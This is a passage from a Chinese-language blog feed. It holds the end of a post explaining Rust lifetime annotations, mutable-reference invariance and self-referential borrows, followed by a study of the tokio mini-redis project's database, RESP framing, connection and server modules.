rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">get_interface</span>(&amp;<span class="symbol">&#x27;a</span> <span class="keyword">mut</span> List&lt;<span class="symbol">&#x27;a</span>&gt; input) <span class="punctuation">-&gt;</span> Interface&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对于这种写法，混合了结构体的生命周期约束和函数参数的生命周期约束。可以叫做「生命周期绑定」或者叫做「生命周期纠缠」，编译器认为这个借用永远不会结束。表示</p><ul><li><strong>对 <code>self</code> 的可变借用将持续到 <code>'a</code> 结束，而不仅仅是方法调用结束。方法结束之后self还是被借用着</strong>。 所以在 <code>'a</code> 的整个生命周期内，你不能再次借用这个结构体实例。</li><li><strong>方法返回的值和self的生命周期绑定，绑定的意思是只会同时有效和同时无效</strong>。即使<code>Interface</code> 对象被丢弃。</li></ul><p>写代码需要有一个原则，<strong>避免引用循环，类似 <code>&amp;'a SomeType&lt;'a&gt;</code></strong>。所以改成下面：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Interface</span>&lt;<span class="symbol">&#x27;b</span>,<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">    manager: &amp;<span class="symbol">&#x27;b</span> <span class="keyword">mut</span> Manager&lt;<span class="symbol">&#x27;a</span>&gt;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span>&lt;<span class="symbol">&#x27;a</span>&gt; List&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">get_interface</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> Interface &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但是根据规则3，<code>&amp;mut self</code> 的生命周期会分配个给 <code>Interface</code>。实际上编译器推断自动补全的标注是</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span>&lt;<span class="symbol">&#x27;a</span>&gt; List&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">get_interface</span>&lt;<span class="symbol">&#x27;b</span>&gt;(&amp;<span class="symbol">&#x27;b</span> <span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> Interface&lt;<span class="symbol">&#x27;b</span>,<span class="symbol">&#x27;b</span>&gt; &#123;</span><br><span class="line">        Interface &#123;</span><br><span class="line">            manager: &amp;<span class="keyword">mut</span> <span class="keyword">self</span>.manager</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但是因为创建的Interface使用到了 <code>&amp;mut self.manager&lt;'a&gt;</code> 的生命周期 <code>'a</code>，编译器认为返回值是 <code>Interface&lt;'_,'a&gt;</code> 。也就是说编译器推断的不对的，我们自己手动补充了。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span>&lt;<span class="symbol">&#x27;a</span>&gt; List&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">get_interface</span>&lt;<span class="symbol">&#x27;b</span>&gt;(&amp;<span class="symbol">&#x27;b</span> <span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> Interface&lt;<span class="symbol">&#x27;b</span>,<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">        Interface &#123;</span><br><span class="line">            manager: &amp;<span class="keyword">mut</span> <span class="keyword">self</span>.manager</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="最终建议">最终建议</h2><p>再次强调，<strong>不要可变引用循环，类似 <code>&amp;mut'a SomeType&lt;'a&gt;</code></strong>。因为Rust中类型对生命周期参数的 variance 行为。</p><ol><li><p><strong>不可变引用</strong>对生命周期是<strong>协变的</strong>(covariant)：意味着较长生命周期的引用可以&quot;缩小&quot;为较短生命周期的引用。</p></li><li><p><strong>可变引用</strong>对生命周期是<strong>不变的</strong>(invariant)：意味着不允许生命周期的任何转换，必须严格匹配。</p></li></ol><p>不可变的循环引用，是可以的。比如改动 struct Interface，去掉</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Interface</span>&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">    manager: &amp;<span class="symbol">&#x27;a</span> Manager&lt;<span class="symbol">&#x27;a</span>&gt;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span>&lt;<span class="symbol">&#x27;a</span>&gt; Interface&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">noop</span>(<span class="keyword">self</span>) &#123;</span><br><span class="line">        <span class="built_in">println!</span>(<span class="string">&quot;interface consumed&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Manager</span>&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">    text: &amp;<span class="symbol">&#x27;a</span> <span class="type">str</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">List</span>&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">    manager: Manager&lt;<span class="symbol">&#x27;a</span>&gt;,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span>&lt;<span class="symbol">&#x27;a</span>&gt; List&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">get_interface</span>(&amp;<span class="symbol">&#x27;a</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> Interface &#123;</span><br><span class="line">        Interface &#123;</span><br><span class="line">            manager: &amp;<span class="keyword">self</span>.manager</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">list</span> = List &#123;</span><br><span class="line">        manager: Manager &#123;</span><br><span class="line">            text: <span class="string">&quot;hello&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    list.<span class="title function_ invoke__">get_interface</span>().<span class="title function_ invoke__">noop</span>();</span><br><span class="line"></span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;Interface should be dropped here and the borrow released&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// this fails because inmutable/mutable borrow</span></span><br><span class="line">    <span class="comment">// but Interface should be already dropped here and the borrow released</span></span><br><span class="line">    <span class="title function_ invoke__">use_list</span>(&amp;list);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">use_list</span>(list: &amp;List) &#123;</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;&#123;&#125;&quot;</span>, list.manager.text);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>也要避免<strong>可变引用的传递</strong> <code>&amp; SomeType&lt;'a&gt;-&gt;AnotherType&lt;'a，'a'&gt;</code>，因为你需要手动对应一下生命周期在哪个位置。能用Rc就别折腾，性能损耗没多大。</p><p>第三种，下面的例子也是可变循环引用。m1类型是 <code>&amp;'_ mut S&lt;'a&gt;</code>，但是后续m1创建了自引用，这是特殊的循环引用，所以 m1 的类型是 <code>&amp;'a mut S&lt;'a&gt;</code>，这违反了我们提到的规定，不要这么用。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">S</span>&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">    i: <span class="type">i32</span>,</span><br><span class="line">    r: &amp;<span class="symbol">&#x27;a</span> <span class="type">i32</span>,</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">s</span> = S &#123; i: <span class="number">0</span>, r: &amp;<span class="number">0</span> &#125;;</span><br><span class="line"><span class="keyword">let</span> <span class="variable">m1</span> = &amp;<span class="keyword">mut</span> s;</span><br><span class="line">m1.r = &amp;m1.i;  <span class="comment">// 此时s.r引用了s.i，创建了自引用</span></span><br></pre></td></tr></table></figure><p>参考：<a href="https://stackoverflow.com/a/66253247/18309513">https://stackoverflow.com/a/66253247/18309513</a> 以及它提到的回答。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/rust-lifetime/</id>
    <link href="https://www.blog-blockchain.xyz/dev/rust-lifetime/"/>
    <published>2025-03-28T10:58:20.000Z</published>
    <summary>深入解析Rust生命周期机制的核心原理和推导规则，详细讨论循环引用问题和可变引用限制，提供避免生命周期陷阱的实用建议和最佳实践。</summary>
    <title>深入学习Rust生命周期</title>
    <updated>2026-02-19T16:18:01.164Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="rust" scheme="https://www.blog-blockchain.xyz/categories/rust/"/>
    <category term="rust" scheme="https://www.blog-blockchain.xyz/tags/rust/"/>
    <content>
      <![CDATA[<h2 id="前言">前言</h2><p>为了深入学习Rust编程的最佳实践，并熟悉成熟且主流的tokio异步运行时，我决定通过学习mini-redis项目来提升自己的Rust高性能编程能力。本文记录了我对该项目的学习过程和理解。</p><p>项目地址：<a href="https://github.com/tokio-rs/mini-redis">https://github.com/tokio-rs/mini-redis</a></p><h2 id="项目架构概览">项目架构概览</h2><pre><code class="highlight mermaid">graph TD    %% Main components with subgraph structure    subgraph 核心服务器 [&quot;核心服务器组件&quot;]        server[&quot;server&lt;br/&gt;Redis服务器实现&quot;]        shutdown[&quot;shutdown&lt;br/&gt;优雅关闭机制&quot;]        db[&quot;db&lt;br/&gt;键值存储和发布/订阅&quot;]    end    subgraph 通信层 [&quot;通信层组件&quot;]        connection[&quot;connection&lt;br/&gt;TCP连接管理&quot;]        parse[&quot;parse&lt;br/&gt;TCP字节流解析&quot;]        frame[&quot;frame&lt;br/&gt;Redis协议帧表示&quot;]    end    subgraph 客户端交互 [&quot;客户端交互组件&quot;]        clients[&quot;clients&lt;br/&gt;异步和阻塞客户端&quot;]        cmd[&quot;cmd&lt;br/&gt;Redis命令实现&quot;]    end    %% Relationship arrows with labels    server --&gt;|&quot;初始化和管理&quot;| connection    server --&gt;|&quot;创建和维护&quot;| db    server --&gt;|&quot;触发&quot;| shutdown    connection --&gt;|&quot;发送/接收&quot;| frame    parse --&gt;|&quot;生成&quot;| frame    clients --&gt;|&quot;建立&quot;| connection    clients --&gt;|&quot;发出&quot;| cmd    cmd --&gt;|&quot;编码为&quot;| frame    db --&gt;|&quot;响应转换为&quot;| frame    %% Add clear data flow    frame --&gt;|&quot;执行并更新&quot;| db    connection --&gt;|&quot;传递到&quot;| parse    %% Visual styling    classDef core fill:#f9d5e5,stroke:#333,stroke-width:1px    classDef comm fill:#eeeeee,stroke:#333,stroke-width:1px    classDef client fill:#d0f0c0,stroke:#333,stroke-width:1px    class server,shutdown,db core    class connection,parse,frame comm    class clients,cmd client</code></pre><ol><li><p><strong>核心服务器组件</strong></p><ul><li>🔹 <strong>server</strong>：Redis服务器核心，启动服务进程，管理连接和请求处理流程</li><li>🔹 <strong>db</strong>：实现键值存储引擎，管理数据结构和发布/订阅功能</li><li>🔹 <strong>shutdown</strong>：处理服务器正常关闭流程，确保数据完整性和连接优雅终止</li></ul></li><li><p><strong>通信层组件</strong></p><ul><li>🔹 <strong>connection</strong>：管理TCP连接生命周期，处理网络I/O和事件循环</li><li>🔹 <strong>parse</strong>：将TCP字节流解析为协议格式，处理分包和粘包问题</li><li>🔹 <strong>frame</strong>：Redis协议帧的编码解码器，转换命令与二进制表示</li></ul></li><li><p><strong>客户端交互组件</strong></p><ul><li>🔹 <strong>clients</strong>：提供异步和阻塞式客户端API，处理连接池和请求队列</li><li>🔹 <strong>cmd</strong>：实现Redis命令集，处理命令验证、执行和响应生成</li></ul></li></ol><p>服务器启动时初始化各组件，建立连接监听和处理管道。客户端连接请求经由connection组件处理，建立会话。客户端命令经过协议编码，通过连接发送到服务器。服务器解析命令后在db组件中执行，并将结果返回。所有组件共同协作，确保数据流转高效和错误处理完善。</p><p>先看一下 mini-redis 的基本功能，具体在 README 里，然后再逐步实现。最简单的读、写、Ping、以及订阅更新的功能。</p><h2 id="实现">实现</h2><h3 id="db-模块">db 模块</h3><h4 id="数据结构和后台任务">数据结构和后台任务</h4><pre><code class="highlight mermaid">classDiagram    class Db &#123;        +new() Db        +get(key: String) Option~Bytes~        +set(key: String, value: Bytes, expiration: Option~Duration~) void        +subscribe(channel: String) Receiver~Bytes~        +publish(channel: String, message: Bytes) usize    &#125;    class Shared &#123;        -state: Mutex~State~        -background_task: Notify    &#125;    class State &#123;        -entries: HashMap~String, Entry~        -pub_sub: HashMap~String, Sender~Bytes~~        -expirations: BTreeSet~(Instant, String)~        -shutdown: bool    &#125;    class Entry &#123;        -data: Bytes        -expires_at: Option~Instant~    &#125;    class BackgroundTask &#123;        -run() async        -expire_keys() usize        -sleep_until_next_expiration() Future    &#125;    Db *-- Shared : contains    Shared *-- State : protects    State *-- Entry : stores    State o-- BackgroundTask : triggers    note for BackgroundTask &quot;后台任务负责清理过期键值对&quot;    note for Shared &quot;使用Arc包装，允许多线程共享访问&quot;    note for Entry &quot;存储值和过期时间&quot;</code></pre><p>Redis 是一个基于键值对的数据结构服务器，它支持多种类型的值，而且我们可以为每个键设置过期时间，到了这个时间点，如果键还没有被更新，它会被自动从数据库中删除。我们的值全部当作是 Bytes 类型，过期时间设置在 value 里。注意有的值是永不过期的，所以 expires_at 是 Option 类型。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/// Entry in the key-value store</span></span><br><span class="line">#<span class="meta">#[derive(Debug)]</span></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Entry</span> &#123;</span><br><span class="line">    <span class="comment">/// Stored data</span></span><br><span class="line">    data: Bytes,</span><br><span class="line"></span><br><span class="line">    <span class="comment">/// Instant at which the entry expires and should be removed from the</span></span><br><span class="line">    <span class="comment">/// database.</span></span><br><span class="line">    expires_at: <span class="type">Option</span>&lt;Instant&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后需要维护整个 db 状态的变量，它需要不断的扫描过期时间，删除过期的键值对。所以需要使用有序的 时刻-&gt;键 的映射，这里使用 BTreeSet 来实现。</p><p>Redis 的 pub/sub 可以设置不同的频道，然后相同的频道可以有多个订阅者，就是一个广播机制。所以就有 频道 -&gt; 广播 的映射。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">#<span class="meta">#[derive(Debug)]</span></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">State</span> &#123;</span><br><span class="line">    <span class="comment">/// 键值数据。使用标准的HashMap即可满足需求</span></span><br><span class="line">    entries: HashMap&lt;<span class="type">String</span>, Entry&gt;,</span><br><span class="line"></span><br><span class="line">    <span class="comment">/// 发布/订阅键空间。Redis为键值和发布/订阅使用单独的键空间</span></span><br><span class="line">    pub_sub: HashMap&lt;<span class="type">String</span>, broadcast::Sender&lt;Bytes&gt;&gt;,</span><br><span class="line"></span><br><span class="line">    <span class="comment">/// 跟踪键的TTL</span></span><br><span class="line">    <span class="comment">/// 使用BTreeSet按过期时间排序</span></span><br><span class="line">    <span class="comment">/// 这允许后台任务遍历此映射以找到下一个过期的值</span></span><br><span class="line">    expirations: BTreeSet&lt;(Instant, <span class="type">String</span>)&gt;,</span><br><span class="line"></span><br><span class="line">    <span class="comment">/// 当Db实例关闭时为true</span></span><br><span class="line">    <span class="comment">/// 设置为true时通知后台任务退出</span></span><br><span class="line">    shutdown: <span class="type">bool</span>,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>触发过期的检查是在后台线程中进行的，一般是2个触发场景，第一个是后台定时触发，第二个是有新的键值对插入，如果时间比之前的都早，这时候需要更新过期时间。所以需要一个 Notify 来通知后台线程。定时器触发一般注意2点：</p><ol><li>没有任务时，线程应该休眠，不要空转。</li><li>如果有任务，等待的时间应该是下一个的过期时间，而不是固定的时间间隔。</li></ol><h4 id="读和写">读和写</h4><p>读和写都要加锁，因为读写都会修改 entries，所以需要 Mutex 来保护。读的时候数据要 clone 一份，因为哈希表里还是存储着的。</p><p>写的时候，如果指定了过期时间，那么需要更新 expirations，如果之前有过期时间，那么需要删除之前的，然后更新。</p><h4 id="Pub-Sub">Pub/Sub</h4><p>订阅很简单，创建一个 broadcast::channel，返回给客户端一个 Receiver，然后把 Sender 存储到 pub_sub 里。发布的时候，使用相同的频道，发送消息即可。</p><h3 id="Redis协议帧">Redis协议帧</h3><p>Redis 协议是一个简单的文本协议，它是基于 TCP 的，所以是字节流。我们需要把字节流解析成 Redis 命令，然后执行，然后把结果序列化成字节流返回给客户端。</p><p>RESP 是 Redis 客户端和服务器之间通信的协议，设计简单且易于实现。RESP 支持 5 种基本数据类型：</p><ol><li>简单字符串 (Simple Strings)<ul><li>格式：<code>+&lt;string&gt;\r\n</code></li><li>例子：<code>+OK\r\n</code></li><li>说明：不能包含换行符。</li></ul></li><li>错误 (Errors)<ul><li>格式：<code>-&lt;error message&gt;\r\n</code></li><li>例子：<code>-ERR unknown command 'foobar'\r\n</code></li><li>说明：客户端应将其视为异常。</li></ul></li><li>整数 (Integers)<ul><li>格式：<code>:&lt;number&gt;\r\n</code></li><li>例子：<code>:1000\r\n</code></li><li>说明：64 位有符号整数。</li></ul></li><li>批量字符串 (Bulk Strings)<ul><li>格式：<code>$&lt;length&gt;\r\n&lt;data&gt;\r\n</code></li><li>例子：<code>$5\r\nhello\r\n</code></li><li>说明：<ul><li>可以表示二进制数据。</li><li>空字符串：<code>$0\r\n\r\n</code></li><li>空值：<code>$-1\r\n</code></li></ul></li></ul></li><li>数组 (Arrays)<ul><li>格式：<code>*&lt;number of elements&gt;\r\n&lt;element1&gt;...&lt;elementN&gt;</code></li><li>例子：<code>*2\r\n$5\r\nhello\r\n$5\r\nworld\r\n</code></li><li>说明：<ul><li>可以包含不同类型的元素。</li><li>空数组：<code>*0\r\n</code></li><li>空值数组：<code>*-1\r\n</code></li></ul></li></ul></li></ol><p>客户端请求通常使用数组格式发送命令，例如 SET key value 被编码为：<br><code>*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n</code></p><p>服务器响应根据命令返回适当的 RESP 数据类型，例如 GET key 可能返回 <code>$5\r\nhello\r\n</code> 或者 <code>$-1\r\n</code>。</p><p>根据上面的特征，帧解析的时候，首先读取第一个字节确定类型，然后基于类型解析剩余数据。而且这是典型的字符串状态机，所以可以使用状态机模式来实现，逐步构建完整的 RESP 对象。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/// A frame in the Redis protocol.</span></span><br><span class="line">#<span class="meta">#[derive(Clone, Debug)]</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">enum</span> <span class="title class_">Frame</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">Simple</span>(<span class="type">String</span>),</span><br><span class="line">    <span class="title function_ invoke__">Error</span>(<span class="type">String</span>),</span><br><span class="line">    <span class="title function_ invoke__">Integer</span>(<span class="type">u64</span>),</span><br><span class="line">    <span class="title function_ invoke__">Bulk</span>(Bytes),</span><br><span class="line">    Null,</span><br><span class="line">    <span class="title function_ invoke__">Array</span>(<span class="type">Vec</span>&lt;Frame&gt;),</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>+&lt;string&gt;\r\n</code> 和 <code>-&lt;error message&gt;\r\n</code> 都比较简单，一直找到 <code>\r\n</code> 为止，然后返回 Simple 类型。<br>如果是整数 <code>:&lt;number&gt;\r\n</code>，则需要额外的判断是否能编码成 u64。<br>如果是二进制数据 <code>$&lt;length&gt;\r\n&lt;data&gt;\r\n</code>，要注意空字符串和空值的情况。<br>如果是数组，那么第一个部分是整数格式，然后递归解析每个元素。</p><h3 id="连接模块">连接模块</h3><p>连接模块实现网络读写Redis帧的功能，基于tokio的异步网络库。一个基本连接需实现：</p><ul><li>初始化连接：建立底层网络连接</li><li>读取数据：从网络连接读取数据</li><li>写入数据：向网络连接写入数据</li><li>处理数据：解析和处理接收到的数据</li><li>维护连接状态：监控连接状态，处理各种事件</li></ul><p>我们使用BufWriter<TcpStream>而非直接使用TcpStream，它维护内部缓冲区，优化系统交互，减少系统调用。同时使用BytesMut维护读取但未处理的数据，实现零拷贝提升性能。</p><p>因为 TCP 协议只保证字节流的顺序，不保证数据包的边界。已经读取但是还没有处理的数据，我们需要维护一个缓冲区，而不是频繁访问系统的TCP缓冲区。常见的做法是使用 Vec<u8> 来维护，但是 BytesMut 实现了零拷贝，只有在实际需要修改的时候才会拷贝，在读取、合并等操作的时候，只是移动指针，所以性能更好。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">#<span class="meta">#[derive(Debug)]</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Connection</span> &#123;</span><br><span class="line">    <span class="comment">// The `TcpStream`. It is decorated with a `BufWriter`, which provides write</span></span><br><span class="line">    <span class="comment">// level buffering. The `BufWriter` implementation provided by Tokio is</span></span><br><span class="line">    <span class="comment">// sufficient for our needs.</span></span><br><span class="line">    stream: BufWriter&lt;TcpStream&gt;,</span><br><span class="line"></span><br><span class="line">    <span class="comment">// The buffer for reading frames.</span></span><br><span class="line">    buffer: BytesMut,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当读到一个数据流的时候，要尝试解析成一个完整的 RESP 帧，如果解析成功，就返回一个 Frame，<br>然后把剩余的数据放回 buffer 里。具体解析的时候，使用 Cursor 来读取 buffer，方便设置 position，处理字节流。如果构成一个完整的 RESP 帧，就要记得 advance，把已经处理的字节去掉，这段内存空出来。此时 buffer 又开始从 0 开始。</p><p>如果解析失败，就继续读取，直到解析成功。考虑特殊情况，如果读取字节为0，说明对端关闭了连接，如果此时buffer还存在数据，就说明是异常断开了。</p><p>写入的时候，需要把Frame序列化成字节流，然后写入到 stream 里，要注意写入的字节流可能比较大，所以要分步写入，直到全部写入完成。最后记得 flush，把缓冲区的数据写入到系统的 TCP 缓冲区。</p><h3 id="服务器模块">服务器模块</h3><p>这个模块就开始汇总前面的模块，实现一个完整的 Redis 服务器。<br>一般都是一个很大的结构体，然后实现一些需要对外部暴露的方法，比如启动、关闭、处理连接等。内部的各个子结构体，就是各个功能模块，接着在这个大结构体里逐渐启动。大结构体里，除了各个模块的实例，还有一些共享的数据，比如配置、日志、计数器，尤其是一些控制信号，用于协调各个模块的工作，比如停止服务的顺序。这个设计模式叫做：中介者模式。</p><p>然后一个模块有更新，比如协议更新，出现了并存的实例，那么这个局部可以使用外观模式，把这些实例隐藏起来，对外暴露一个接口，这个接口可以根据配置，选择不同的实例。</p><p>控制信号需要 2 个，一个用于通知连接退出，因为 redis 服务器可能有多个客户端连接，每个连接都有自己的 TCP 连接进来，<br>当服务器退出的时候，需要通知所有的连接退出。<br>另一个是通知后台线程退出，比如数据库的部分，它在不断的扫描过期时间，删除过期的键值对，这个是一个后台线程，需要通知它退出。</p><p>另外一个控制信号是并发控制，限制服务器接收的 TCP 连接数。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Listener</span> &#123;</span><br><span class="line">    db_holder: DbDropGuard,</span><br><span class="line"></span><br><span class="line">    listener: TcpListener,</span><br><span class="line"></span><br><span class="line">    limit_connections: Arc&lt;Semaphore&gt;,</span><br><span class="line">    notify_shutdown: broadcast::Sender&lt;()&gt;,</span><br><span class="line">    shutdown_complete_tx: mpsc::Sender&lt;()&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一般启动服务器时，要考虑控制信号，还有一些程序的初始化，比如日志，<br>一些rust运行时的参数，比如线程数，这些都是全局的，需要在启动的时候初始化。</p><p>所以最外层的结构体，一般是这样的，shutdown 收到之后，会退出这个select：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">tokio::<span class="built_in">select!</span> &#123;</span><br><span class="line">     res = server.<span class="title function_ invoke__">run</span>() =&gt; &#123;</span><br><span class="line">         <span class="comment">// If an error is received here, accepting connections from the TCP</span></span><br><span class="line">         <span class="comment">// listener failed multiple times and the server is giving up and</span></span><br><span class="line">         <span class="comment">// shutting down.</span></span><br><span class="line">         <span class="comment">//</span></span><br><span class="line">         <span class="comment">// Errors encountered when handling individual connections do not</span></span><br><span class="line">         <span class="comment">// bubble up to this point.</span></span><br><span class="line">         <span class="keyword">if</span> <span class="keyword">let</span> <span class="variable">Err</span>(err) = res &#123;</span><br><span class="line">             error!(cause = %err, <span class="string">&quot;failed to accept&quot;</span>);</span><br><span class="line">         &#125;</span><br><span class="line">     &#125;</span><br><span class="line">     _ = shutdown =&gt; &#123;</span><br><span class="line">         <span class="comment">// The shutdown signal has been received.</span></span><br><span class="line">         info!(<span class="string">&quot;shutting down&quot;</span>);</span><br><span class="line">     &#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>整个服务器是个大循环，首先需要信号量有空闲，才允许新的连接进来，<br>然后监听新的连接，把连接和后台服务模块打包进 